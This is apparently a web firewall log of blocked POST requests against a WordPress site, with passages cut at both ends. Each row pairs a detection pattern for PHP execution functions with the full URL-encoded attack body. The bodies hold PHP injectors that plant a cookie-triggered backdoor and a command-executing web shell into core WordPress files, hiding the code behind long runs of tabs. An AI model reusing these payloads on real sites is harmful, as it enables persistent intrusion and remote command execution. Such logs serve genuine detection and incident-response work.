0%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:52:00","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3261\n\nwb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:53:47","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3261\n\nVC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:53:51","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:3284\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:54:35","77.73.233.48","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5235\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 